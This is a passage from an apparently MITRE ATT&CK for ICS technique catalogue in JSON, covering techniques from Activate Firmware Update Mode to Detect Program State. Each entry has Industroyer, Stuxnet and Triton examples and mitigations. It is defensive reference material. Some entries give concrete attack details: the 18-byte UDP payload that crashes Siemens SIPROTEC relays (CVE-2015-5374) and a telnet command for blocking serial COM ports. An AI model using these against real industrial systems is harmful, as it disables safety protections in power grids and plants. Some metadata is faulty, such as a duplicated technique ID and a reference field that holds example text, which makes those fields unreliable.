By entering and leaving a device in this mode, the adversary may deny its usual functionalities.", + "meta": { + "Procedure Examples": [ + "The Industroyer SPIROTEC DoS module places the victim device into firmware update mode. This is a legitimate use case under normal circumstances, but in this case is used the adversary to prevent the SPIROTEC from performing its designed protective functions. As a result the normal safeguards are disabled, leaving an unprotected link in the electric transmission", + "The Industroyer SIPROTEC DoS module exploits the CVE-2015-5374 vulnerability in order to render a Siemens SIPROTEC device unresponsive. Once this vulnerability is successfully exploited, the target device stops responding to any commands until it is rebooted manually. Once the tool is executed it sends specifically crafted packets to port 50,000 of the target IP addresses using UDP. The UDP packet contains the following 18 byte payload: 0x11 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 9E" + ], + "Tactic": [ + "Inhibit Response Function" + ], + "Technique ID": [ + "T800" + ], + "refs": [ + "https://dragos.com/wp-content/uploads/CRASHOVERRIDE.pdf", + "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf" + ] + }, + "uuid": "d07be12d-39a2-448c-8e92-f40a46ed9865", + "value": "Activate Firmware Update Mode" + }, + { + "description": "Adversaries may target protection function alarms to prevent them from notifying operators of critical conditions. Alarm messages may be a part of an overall reporting system and of particular interest for adversaries. Disruption of the alarm system does not imply the disruption of the reporting system as a whole. In the Maroochy Attack, the adversary suppressed alarm reporting to the central computer. A Secura presentation on targeting OT notes a dual fold goal for adversaries attempting alarm suppression: prevent outgoing alarms from being raised and prevent incoming alarms from being responded to. The method of suppression may greatly depend on the type of alarm in question: An alarm raised by a protocol message. An alarm signaled with I/O. An alarm bit set in a flag and read In ICS environments, the adversary may have to suppress or contend with multiple alarms and/or alarm propagation to achieve a specific goal to evade detection or prevent intended responses from occurring.2 Methods of suppression may involve tampering or altering device displays and logs, modifying in memory code to fixed values, or even tampering with assembly level instruction code.", + "meta": { + "Tactic": [ + "Inhibit Response Function" + ], + "Technique ID": [ + "T878" + ], + "refs": [ + "https://www.mitre.org/sites/default/files/pdf/08_1145.pdf", + "https://troopers.de/downloads/troopers19/TROOPERS19_NGI_IoT_diet_poisoned_fruit.pdf" + ] + }, + "uuid": "f35e36fd-1a4a-4fc5-a881-9db30b51b43f", + "value": "Alarm Suppression" + }, + { + "description": "Adversaries may automate collection of industrial environment information using tools or scripts. This automated collection may leverage native control protocols and tools available in the control systems environment. For example, the OPC protocol may be used to enumerate and gather information. Access to a system or interface with these native protocols may allow collection and enumeration of other attached, communicating servers and devices.", + "meta": { + "Procedure Examples": [ + "Using OPC, a component of Backdoor.Oldrea gathers any details about connected devices and sends them back to the C2 for the attackers to analyze.", + "Industroyer automatically collects protocol object data to learn about control devices in the environment." + ], + "Tactic": [ + "Collection" + ], + "Technique ID": [ + "T802" + ], + "refs": [ + "https://www.f-secure.com/weblog/archives/00002718.html", + "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf" + ] + }, + "uuid": "cd10178b-3af2-4169-9d19-73194c379fa0", + "value": "Automated Collection" + }, + { + "description": "Adversaries may block a command message from reaching its intended target to prevent command execution. In OT networks, command messages are sent to provide instructions to control system devices. A blocked command message can inhibit response functions from correcting a disruption or unsafe condition. In the 2015 attack on the Ukranian power grid, malicious firmware was used to render communication devices inoperable and effectively prevent them from receiving remote command messages.", + "meta": { + "Mitigations": [ + "Implement Virtual Local Area Networks (VLANs) to divide physical networks into smaller, logical ones with isolated traffic from each other. This limits both broadcast traffic and unnecessary flooding.", + "Secure the environment to minimize wires susceptible to interference and limit access points to cables. Keep the ICS and IT networks separate.", + "Monitor the network for expected outcomes and to detect unexpected states.", + "Implement antivirus and malware detection tools to protect against threats, such as code enabling improper network access." + ], + "Procedure Examples": [ + "In Industroyer the first COM port from the configuration file is used for the actual communication and the two other COM ports are just opened to prevent other processes accessing them. Thus, the IEC 101 payload component is able to take over and maintain control of the RTU device." + ], + "Tactic": [ + "Inhibit Response Function" + ], + "Technique ID": [ + "T803" + ], + "refs": [ + "http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258", + "https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf", + "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf", + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf" + ] + }, + "uuid": "bc454d80-054b-48bf-8848-289ec9d8277d", + "value": "Block Command Message" + }, + { + "description": "Adversaries may block or prevent a reporting message from reaching its intended target. Reporting messages relay the status of control system devices, which can include event log data and I/O values of the associated device. By blocking these reporting messages, an adversary can potentially hide their actions from an operator. Blocking reporting messages in control systems that manage physical processes may contribute to system impact, causing inhibition of a response function. A control system may not be able to respond in a proper or timely manner to an event, such as a dangerous fault, if its corresponding reporting message is blocked. In the 2015 attack on the Ukranian power grid, malicious firmware was used to render communication devices inoperable and effectively block messages from being reported.", + "meta": { + "Mitigations": [ + "Implement Virtual Local Area Networks (VLANs) to divide physical networks into smaller, logical ones with isolated traffic from each other.", + "Secure the environment to minimize wires susceptible to interference and limit access points to cables. Keep the ICS and IT networks separate.", + "Monitor the network for expected outcomes and to detect unexpected states. For instance, an expected report does not occur may indicate reason for concern.", + "Implement antivirus and malware detection tools to protect against threats, such as code enabling improper network access.", + "Authenticate wireless users’ access with a secure IEEE 802.1x authentication protocol, that authenticates users via user certificates or a Remote Authentication Dial In User Service (RADIUS) server." + ], + "Procedure Examples": [ + "Industroyer uses the first COM port from the configuration file for the communication and the other two COM ports are opened to prevent other processes accessing them. This may block processes or operators from getting reporting messages from a device." + ], + "Tactic": [ + "Inhibit Response Function" + ], + "Technique ID": [ + "T804" + ], + "refs": [ + "http://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=6142258", + "https://ics.sans.org/media/E-ISAC_SANS_Ukraine_DUC_5.pdf", + "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf", + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf" + ] + }, + "uuid": "c70c3328-e180-4947-badd-8088686aec7f", + "value": "Block Reporting Message" + }, + { + "description": "Adversaries may block access to serial COM to prevent instructions or configurations from reaching target devices. Serial Communication ports (COM) allow communication with control system devices. Devices can receive command and configuration messages over such serial COM. Devices also use serial COM to send command and reporting messages. Blocking device serial COM may also block command messages and block reporting messages. A serial to Ethernet converter is often connected to a serial COM to facilitate communication between serial and Ethernet devices. One approach to blocking a serial COM would be to create and hold open a TCP session with the Ethernet side of the converter. A serial to Ethernet converter may have a few ports open to facilitate multiple communications. For example, if there are three serial COM available -- 1, 2 and 3 --, the converter might be listening on the corresponding ports 20001, 20002, and 20003. If a TCP/IP connection is opened with one of these ports and held open, then the port will be unavailable for use by another party. One way the adversary could achieve this would be to initiate a TCP session with the serial to Ethernet converter at 10.0.0.1 via Telnet on serial port 1 with the following command: telnet 10.0.0.1 20001.", + "meta": { + "Mitigations": [ + "In ICS environments with dial-up modems, disconnect the modems when not in use or automate their disconnection after being active for a given amount of time, if feasible.", + "Restrict access to both physical control and network environments with strong passwords. Consider forms of multi-factor authentication, such introducing as biometrics, smart cards, or tokens, to supplement traditional passwords.", + "Lock down and secure portable devices and removable media. Portable ICS assets should not be used outside of the ICS network.", + "Use only authorized media in the physical environment and be aware of anomalies. Take care to keep backups and stored data in secure, protected locations.", + "Implement antivirus and malware detection tools to detect improper access to serial COM by malicious or unexpected programs. Maintain environmental awareness to help detect instances when a serial COM may be blocked, resulting in commands or reports not being carried out." + ], + "Procedure Examples": [ + "In Industroyer the first COM port from the configuration file is used for the actual communication and the two other COM ports are just opened to prevent other processes accessing them. Thus, the IEC 101 payload component is able to take over and maintain control of the RTU device." + ], + "Tactic": [ + "Inhibit Response Function" + ], + "Technique ID": [ + "T805" + ], + "refs": [ + "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf", + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf" + ] + }, + "uuid": "6def9c26-dbd6-4410-a363-02bd2e235c22", + "value": "Block Serial COM" + }, + { + "description": "Adversaries may brute force I/O addresses on a device and attempt to exhaustively perform an action. By enumerating the full range of I/O addresses, an adversary may manipulate a process function without having to target specific I/O interfaces. More than one process function manipulation and enumeration pass may occur on the targeted I/O range in a brute force attempt.", + "meta": { + "Procedure Examples": [ + "The Industroyer IEC 104 module has 3 modes available to perform its attack. These modes are range, shift, and sequence. The range mode operates in 2 stages. The first stage of range mode gathers Information Object Addresses (IOA) and sends select and execute packets to switch the state. The second stage of range mode has an infinite loop where it will switch the state of all of the previously discovered IOAs. Shift mode is similar to range mode, but instead of staying within the same range, it will add a shift value to the default range values." + ], + "Tactic": [ + "Impair Process Control" + ], + "Technique ID": [ + "T806" + ], + "refs": [ + "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf" + ] + }, + "uuid": "f5b5b616-1b96-485e-8b7b-620e94145bea", + "value": "Brute Force I/O" + }, + { + "description": "Adversaries may attempt to change the state of the current program on a control device. Program state changes may be used to allow for another program to take over control or be loaded onto the device.", + "meta": { + "Procedure Examples": [ + "After PLC-Blaster is transferred to a PLC, the PLC begins execution of PLC-Blaster.", + "Stuxnet halts the original PLC code and the malicious PLC code begins sending frames of data based on the recorded values during the DP_RECV monitor phase.", + "Triton has the ability to halt or run a program through the TriStation protocol. TsHi.py contains instances of halt and run functions being executed." + ], + "Tactic": [ + "Execution Impair Process Control" + ], + "Technique ID": [ + "T875" + ], + "refs": [ + "https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC-wp.pdf", + "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf", + "https://github.com/MDudek-ICS/TRISIS-TRITON-HATMAN/tree/master/decompiled_code/library" + ] + }, + "uuid": "1f846cbc-ed70-429c-b489-eaf1f0f99ca6", + "value": "Change Program State" + }, + { + "description": "Adversaries may utilize command-line interfaces (CLIs) to interact with systems and execute commands. CLIs provide a means of interacting with computer systems and are a common feature across many types of platforms and devices within control systems environments. Adversaries may also use CLIs to install and run new software, including malicious tools that may be installed over the course of an operation. CLIs are typically accessed locally, but can also be exposed via services, such as SSH, Telnet, and RDP. Commands that are executed in the CLI execute with the current permissions level of the process running the terminal emulator, unless the command specifies a change in permissions context. Many controllers have CLI interfaces for management purposes.", + "meta": { + "Mitigations": [ + "Restrict access to control room(s), portable devices, and removable media, which should be locked down and physically secured.", + "Authentication of accounts should be enforced, and when applicable, account permissions and privileges should be limited to an as-needed basis.", + "In ICS environments with dial-up modems, disconnect the modems when not in use or automate their disconnection after being active for a given amount of time, if feasible.", + "In general, reduce and restrict access to both physical resources and the network, wherever CLIs might be exposed." + ], + "Procedure Examples": [ + "The name of the Industroyer payload DLL is supplied by the attackers via a command line parameter supplied in one of the main backdoor’s “execute a shell command” commands." + ], + "Tactic": [ + "Execution" + ], + "Technique ID": [ + "T807" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1059", + "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf", + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf" + ] + }, + "uuid": "1e6829cd-e6f3-4ff9-b56d-c6f0a2bb88ae", + "value": "Command-Line Interface" + }, + { + "description": "Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend in with normal network activity, to avoid more detailed inspection. They may use the protocol associated with the port, or a completely different protocol. They may use commonly open ports, such as the examples as follows TCP:80 (HTTP), TCP:443 (HTTPS), TCP/UDP:53 (DNS), TCP:1024-4999 (OPC on XP/Win2k3), TCP:49152-65535 (OPC on Vista and later), TCP:23 (TELNET), UDP:161 (SNMP), TCP:502 (MODBUS), TCP:102 (S7comm/ISO-TSAP), TCP:20000 (DNP3), TCP:44818 (Ethernet/IP)", + "meta": { + "Mitigations": [ + "Access to device configuration settings should be restricted. Be wary of improper modifications before, during, and after system implementation", + "Settings should be in the most restrictive mode, consistent with ICS operational requirements 4, including the limitation of open ports to those that are necessary.", + "Leverage access control capabilities, such as whitelists, to limit communications to and from permitted, known entities.", + "Assess and secure new device acquisitions as they enter the environment to detect and prevent the introduction of tampered with components.", + "VPNs can be used to provide secure access from an untrusted network to the ICS control network and restrict access to and from host computers.", + "Intrusion detection can be put in place to monitor traffic and logs. Unexpected or a high amount of traffic involving even commonly used ports can be suspicious when it deviates from the often consistent state of the ICS environment." + ], + "Procedure Examples": [ + "Dragonfly communicated with command and control over TCP ports 445 and 139 or UDP 137 or 138.", + "Stuxnet attempts to contact command and control servers on port 80 to send basic information about the computer it has compromised.", + "Triton framework can communicate with the implant utilizing the TriStation 'get main processor diagnostic data' command and looks for a specifically crafted packet body from which it extracts a command value and its arguments." + ], + "Tactic": [ + "Command and Control" + ], + "Technique ID": [ + "T885" + ], + "refs": [ + "https://www.us-cert.gov/ncas/alerts/TA17-293A", + "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf", + "https://www.midnightbluelabs.com/blog/2018/1/16/analyzing-the-triton-industrial-malware", + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf" + ] + }, + "uuid": "6f53940b-f5ee-4fcc-8752-2c9bdb16381c", + "value": "Commonly Used Port" + }, + { + "description": "Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications. The definition of a proxy can also be expanded to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other. The network may be within a single organization or across multiple organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.", + "meta": { + "Mitigations": [ + "Implement Virtual Local Area Networks (VLANs) to divide physical networks into smaller, logical ones with isolated traffic from each other.", + "VPNs can be used to provide secure access from an untrusted network to the ICS control network and restrict access to and from host computers.", + "Where applicable, further restrict network traffic by enforcing whitelisting of known, trusted devices. Limit access and editing privileges to such lists.", + "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific C2 protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools." + ], + "Tactic": [ + "Command and Control" + ], + "Technique ID": [ + "T884" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1090", + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf", + "https://www.cpni.gov.uk/Documents/Publications/2014/2014-04-23-c2-report-birmingham.pdf" + ] + }, + "uuid": "2c5bf128-129a-482f-b578-995b389c9e2e", + "value": "Connection Proxy" + }, + { + "description": "Adversaries may cause damage and destruction of property to infrastructure, equipment, and the surrounding environment when attacking control systems. This technique may result in device and operational equipment breakdown, or represent tangential damage from other techniques used in an attack. Depending on the severity of physical damage and disruption caused to control processes and systems, this technique may result in Loss of Safety. Operations that result in Loss of Control may also cause damage to property, which may be directly or indirectly motivated by an adversary seeking to cause impact in the form of Loss of Productivity and Revenue. The German Federal Office for Information Security (BSI) reported a targeted attack on a steel mill under an incidents affecting business section of its 2014 IT Security Report. These targeted attacks affected industrial operations and resulted in breakdowns of control system components and even entire installations. As a result of these breakdowns, massive impact and damage resulted from the uncontrolled shutdown of a blast furnace. In the Maroochy Attack, Vitek Boden gained remote computer access to the control system and altered data so that whatever function should have occurred at affected pumping stations did not occur or occurred in a different way. This ultimately led to 800,000 liters of raw sewage being spilled out into the community. The raw sewage affected local parks, rivers, and even a local hotel. This resulted in harm to marine life and produced a sickening stench from the community's now blackened rivers. A Polish student used a remote controller device to interface with the Lodz city tram system in Poland.345 Using this remote, the student was able to capture and replay legitimate tram signals. This resulted in damage to impacted trams, people, and the surrounding property. Reportedly, four trams were derailed and were forced to make emergency stops.4 Commands issued by the student may have also resulted in tram collisions, causing harm to those on board and the environment outside.", + "meta": { + "Procedure Examples": [ + "Stuxnet attacks were designed to over-pressure and damage centrifuge rotors by manipulating process pressure and rotor speeds over time. One focused on a routine to change centrifuge rotor speeds, while the other manipulated critical resonance speeds to over-pressure them." + ], + "Tactic": [ + "Impact" + ], + "Technique ID": [ + "T879" + ], + "refs": [ + "https://www.bsi.bund.de/SharedDocs/Downloads/EN/BSI/Publications/Securitysituation/IT-Security-Situation-in-Germany-2014.pdf?__blob=publicationFile&v=3", + "https://www.mitre.org/sites/default/files/pdf/08_1145.pdf", + "https://www.londonreconnections.com/2017/hacked-cyber-security-railways/", + "https://inhomelandsecurity.com/teen_hacker_in_poland_plays_tr/", + "https://www.schneier.com/blog/archives/2008/01/hacking_the_pol.html", + "https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf" + ] + }, + "uuid": "0f14bec1-cc6e-4c73-a0de-77b9cf3f525f", + "value": "Damage to Property" + }, + { + "description": "Adversaries may perform data destruction over the course of an operation. The adversary may drop or create malware, tools, or other non-native files on a target system to accomplish this, potentially leaving behind traces of malicious activities. Such non-native files and other data may be removed over the course of an intrusion to maintain a small footprint or as a standard part of the post-intrusion cleanup process. Data destruction may also be used to render operator interfaces unable to respond and to disrupt response functions from occurring as expected. An adversary may also destroy data backups that are vital to recovery after an incident. Standard file deletion commands are available on most operating system and device interfaces to perform cleanup, but adversaries may use other tools as well. Two examples are Windows Sysinternals SDelete and Active@ Killdisk.", + "meta": { + "Mitigations": [ + "Password authentication can be used as a barrier to Data Destruction, in addition to restricting user account file access according to the principle of least privilege. The default for newly created accounts should be minimal, to reduce adversary movement capabilities.", + "Best password practices, and the implementation of multi-factor authentication can also add security, particularly if data in the environment has a high risk of interception or may be sent in plaintext.", + "Restrict access to control room(s), portable devices, and removable media, which should be locked down and physically secured. Unauthorized and suspicious media should be avoided and kept away from systems and the network. Keep track of cables, to ensure that the ICS and IT environments remain separate and no interceptive, adversarial devices are installed.", + "Take note of suspicious files and run antivirus and malware detecting solutions to assist in catching malicious programs that can result in Data Destruction.", + "dentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to delete files, and audit and/or block them by using whitelisting5 tools like AppLocker or Software Restriction Policies where appropriate." + ], + "Procedure Examples": [ + "Industroyer has a destructive wiper that overwrites all ICS configuration files across the hard drives and all mapped network drives specifically targeting ABB PCM600 configuration files.", + "KillDisk is able to delete system files to make the system unbootable and targets 35 different types of files for deletion." + ], + "Tactic": [ + "Inhibit Response Function" + ], + "Technique ID": [ + "T809" + ], + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1107", + "https://dragos.com/blog/crashoverride/CrashOverride-01.pdf", + "https://www.welivesecurity.com/2016/01/03/blackenergy-sshbeardoor-details-2015-attacks-ukrainian-news-media-electric-industry/", + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] + }, + "uuid": "cc76d9dc-1e26-48a1-baa1-c42b2aa6d381", + "value": "Data Destruction" + }, + { + "description": "Adversaries may compromise and gain control of a data historian to gain a foothold into the control system environment. Access to a data historian may be used to learn stored database archival and analysis information on the control system. A dual-homed data historian may provide adversaries an interface from the IT environment to the OT environment. Dragos has released an updated analysis on CrashOverride that outlines the attack from the ICS network breach to payload delivery and execution.1 The report summarized that CrashOverride represents a new application of malware, but relied on standard intrusion techniques. In particular, new artifacts include refs to a Microsoft Windows Server 2003 host, with a SQL Server. Within the ICS environment, such a database server can act as a data historian. Dragos noted a device with this role should be expected to have extensive connections within the ICS environment. Adversary activity leveraged database capabilities to perform reconnaissance, including directory queries and network connectivity checks. ", + "meta": { + "Procedure Examples": [ + "In Industroyer, after pivoting into the ICS environment, the adversary gained Initial Access to devices involved with critical process operations through a Microsoft Windows Server 2003 running a SQL Server." + ], + "Tactic": [ + "Initial Access" + ], + "Technique ID": [ + "T810" + ], + "refs": [ + "https://dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf" + ] + }, + "uuid": "bb11d289-4661-444b-8923-e77ce630f487", + "value": "Data Historian Compromise" + }, + { + "description": "Adversaries may target and collect data from information repositories. This can include sensitive data such as specifications, schematics, or diagrams of control system layouts, devices, and processes. Examples of target information repositories include reference databases and local machines on the process environment.", + "meta": { + "Procedure Examples": [ + "ACAD/Medre.A collects information related to the AutoCAD application. The worm collects AutoCAD (*.dwg) files with drawings from information repositories.", + "Duqu downloads additional modules for the collection of data in information repositories. The modules are named: infostealer 1, infostealer 2 and reconnaissance.", + "Flame has built-in modules to gather information from compromised computers." + ], + "Tactic": [ + "Collection" + ], + "Technique ID": [ + "T811" + ], + "refs": [ + "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf", + "https://www.symantec.com/security-center/writeup/2012-052811-0308-99" + ] + }, + "uuid": "ec83fca8-a475-42fd-9ae5-db666ec6dd3d", + "value": "Data from Information Repositories" + }, + { + "description": "Adversaries may leverage manufacturer or supplier set default credentials on control system devices. These default credentials may have administrative permissions and may be necessary for initial configuration of the device. It is general best practice to change the passwords for these accounts as soon as possible, but some manufacturers may have devices that have passwords or usernames that cannot be changed. Default credentials are normally documented in an instruction manual that is either packaged with the device, published online through official means, or published online through unofficial means. Adversaries may leverage default credentials that have not been properly modified or disabled. ", + "meta": { + "Mitigations": [ + "Restrict user privileges with Role-Based Access Control (RBAC). Configure and assign “roles” based on the principle of least privilege. Levels of access can dictate several factors, including the ability to view, use, and alter specific ICS data or device functions.", + "Change default passwords to strong ones, when possible. In some instances, network traffic may be easily intercepted or sent in plaintext. In these instances, multi-factor authentication can act as both a barrier to the adversary and help alert the account owner of unauthorized access. Triple-factor authentication may also be considered.", + "Be aware of device patching and maintenance that would enable password changes or stronger passwords than currently used ones.", + "Authenticate wireless communications and access with a secure IEEE 802.1x authentication protocol.", + "Restrict access to control room(s), portable devices, and removable media, which should be locked down and physically secured.", + "In general, console user actions should be traceable, whether it may manually (e.g. control room sign in) or automatic (e.g. login at the application and/or OS layer).1 Protect and restrict access to the resulting logs.", + "Implementing Challenge/Response authentication eliminates the risk of discovery or replay that traditional password exchange has. Physical, token authentication can also be considered. It is also easier to notice if these have gotten lost or stolen, unlike traditional passwords. Smart cards another option to consider, and provide additional functionality over token authentication. Biometric authentication may also be good supplement to software-only password solutions. Secure and check new acquisitions for tampering and signs of malicious components.", + "VPNs can be used to provide secure access from an untrusted network to the ICS control network and restrict access to and from host computers.", + "In the event the adversary is already inside the network, an intrusion detection system can help detect and record unusual patterns of activity." + ], + "Tactic": [ + "Lateral Movement" + ], + "Technique ID": [ + "T811" + ], + "refs": [ + "https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-82r2.pdf" + ] + }, + "uuid": "c40fbcf3-5baf-4589-8f3a-e544790d2e37", + "value": "Default Credentials" + }, + { + "description": "Adversaries may cause a denial of control to temporarily prevent operators and engineers from interacting with process controls. An adversary may attempt to deny process control access to cause a temporary loss of communication with the control device or to prevent operator adjustment of process controls. An affected process may still be operating during the period of control loss, but not necessarily in a desired state. In the Maroochy attack, the adversary was able to temporarily shut an investigator out of the network preventing them from issuing any controls. ", + "meta": { + "Procedure Examples": [ + "Industroyer is able to block serial COM channels temporarily causing a denial of control." + ], + "Tactic": [ + "Impact" + ], + "Technique ID": [ + "T813" + ], + "refs": [ + "https://www.corero.com/resources/files/whitepapers/cns_whitepaper_ics.pdf", + "https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297", + "https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false", + "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf" + ] + }, + "uuid": "8d7682dc-e23b-4a53-bac7-ca92ad5d7772", + "value": "Denial of Control" + }, + { + "description": "Adversaries may perform Denial-of-Service (DoS) attacks to disrupt expected device functionality. Examples of DoS attacks include overwhelming the target device with a high volume of requests in a short time period and sending the target device a request it does not know how to handle. Disrupting device state may temporarily render it unresponsive, possibly lasting until a reboot can occur. When placed in this state, devices may be unable to send and receive requests, and may not perform expected response functions in reaction to other events in the environment. Some ICS devices are particularly sensitive to DoS events, and may become unresponsive in reaction to even a simple ping sweep. Adversaries may also attempt to execute a Permanent Denial-of-Service (PDoS) against certain devices, such as in the case of the BrickerBot malware. Adversaries may exploit a software vulnerability to cause a denial of service by taking advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in software that can be used to cause a or denial of service condition. Adversaries may have prior knowledge about industrial protocols or control devices used in the environment through Control Device Identification. There are examples of adversaries remotely causing a Device Restart/Shutdown by exploiting a vulnerability that induces uncontrolled resource consumption. In the Maroochy attack, the adversary was able to shut an investigator out of the network.", + "meta": { + "Procedure Examples": [ + "The Backdoor.Oldrea payload has caused multiple common OPC platforms to intermittently crash. This could cause a denial of service effect on applications reliant on OPC communications.", + "The Industroyer SIPROTEC DoS module exploits the CVE-2015-5374 vulnerability in order to render a Siemens SIPROTEC device unresponsive. Once this vulnerability is successfully exploited, the target device stops responding to any commands until it is rebooted manually.7 Once the tool is executed it sends specifically crafted packets to port 50,000 of the target IP addresses using UDP. The UDP packet contains the following 18 byte payload: 0x11 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 9E", + "The execution on the PLC can be stopped by violating the cycle time limit. The PLC-Blaster implements an endless loop triggering an error condition within the PLC with the impact of a DoS." + ], + "Tactic": [ + "Inhibit Response Function" + ], + "Technique ID": [ + "T814" + ], + "refs": [ + "https://www.us-cert.gov/ics/alerts/ICS-ALERT-17-102-01A", + "https://ics-cert.us-cert.gov/advisories/ICSA-15-202-01", + "http://cwe.mitre.org/data/definitions/400.html", + "https://nvd.nist.gov/vuln/detail/CVE-2015-5374", + "https://www.mitre.org/sites/default/files/pdf/08_1145.pdf", + "https://ics-cert.us-cert.gov/advisories/ICSA-14-178-01", + "https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf", + "https://www.blackhat.com/docs/asia-16/materials/asia-16-Spenneberg-PLC-Blaster-A-Worm-Living-Solely-In-The-PLC-wp.pdf" + ] + }, + "uuid": "5dc02bb0-3332-459b-a66e-148e152ee063", + "value": "Denial of Service" + }, + { + "description": "Adversaries may cause a denial of view in attempt to disrupt and prevent operator oversight on the status of an ICS environment. This may manifest itself as a temporary communication failure between a device and its control source, where the interface recovers and becomes available once the interference ceases. An adversary may attempt to deny operator visibility by preventing them from receiving status and reporting messages. Denying this view may temporarily block and prevent operators from noticing a change in state or anomalous behavior. The environment's data and processes may still be operational, but functioning in an unintended or adversarial manner. In the Maroochy attack, the adversary was able to temporarily shut an investigator out of the network, preventing them from viewing the state of the system.", + "meta": { + "Procedure Examples": [ + "Industroyer is able to block serial COM channels temporarily causing a denial of view." + ], + "Tactic": [ + "Impact" + ], + "Technique ID": [ + "T815" + ], + "refs": [ + "https://www.corero.com/resources/files/whitepapers/cns_whitepaper_ics.pdf", + "https://www.sans.org/reading-room/whitepapers/ICS/industrial-control-system-cyber-kill-chain-36297", + "https://books.google.com/books?id=oXIYBAAAQBAJ&pg=PA249&lpg=PA249&dq=loss+denial+manipulation+of+view&source=bl&ots=dV1uQ8IUff&sig=ACfU3U2NIwGjhg051D_Ytw6npyEk9xcf4w&hl=en&sa=X&ved=2ahUKEwj2wJ7y4tDlAhVmplkKHSTaDnQQ6AEwAHoECAgQAQ#v=onepage&q=loss%20denial%20manipulation%20of%20view&f=false" + ] + }, + "uuid": "3840a392-0074-42ba-9303-d8bf18ce0048", + "value": "Denial of View" + }, + { + "description": "Adversaries may gather information about the current operating state of a PLC. CPU operating modes are often controlled by a key switch on the PLC. Example states may be run, prog, stop, remote, and invalid. Knowledge of these states may be valuable to an adversary to determine if they are able to reprogram the PLC. ", + "meta": { + "Procedure Examples": [ + "Triton contains a file named TS_cnames.py which contains default definitions for key state (TS_keystate). Key state is referenced in TsHi.py." + ], + "Tactic": [ + "Collection" + ], + "Technique ID": [ + "T868" + ], + "refs": [ + "Triton contains a file named TS_cnames.py which contains default definitions for key state (TS_keystate). Key state is referenced in TsHi.py." + ] + }, + "uuid": "b12d6ee9-db15-45de-a1d7-594803e53960", + "value": "Detect Operating Mode" + }, + { + "description": "Adversaries may seek to gather information about the current state of a program on a PLC. State information reveals information about the program, including whether it's running, halted, stopped, or has generated an exception. This information may be leveraged as a verification of malicious program execution or to determine if a PLC is ready to download a new program. ", + "meta": { + "Procedure Examples": [ + "Triton contains a file named TS_cnames.py which contains default definitions for program state (TS_progstate). Program state is referenced in TsHi.py." + ], + "Tactic": [ + "Collection" + ], + "Technique ID": [ + "T870" + ], + "refs": [ + "https://github.com/MDudek-ICS/TRISIS-TRITON-HATMAN/tree/master/decompiled_code/library" + ] + }, + "uuid": "2afa4852-71bc-41c9-b524-643cddb3e7fa", + "value": "Detect Program State" + }, + { + "description": "Adversaries may forcibly restart or shutdown a device in the ICS 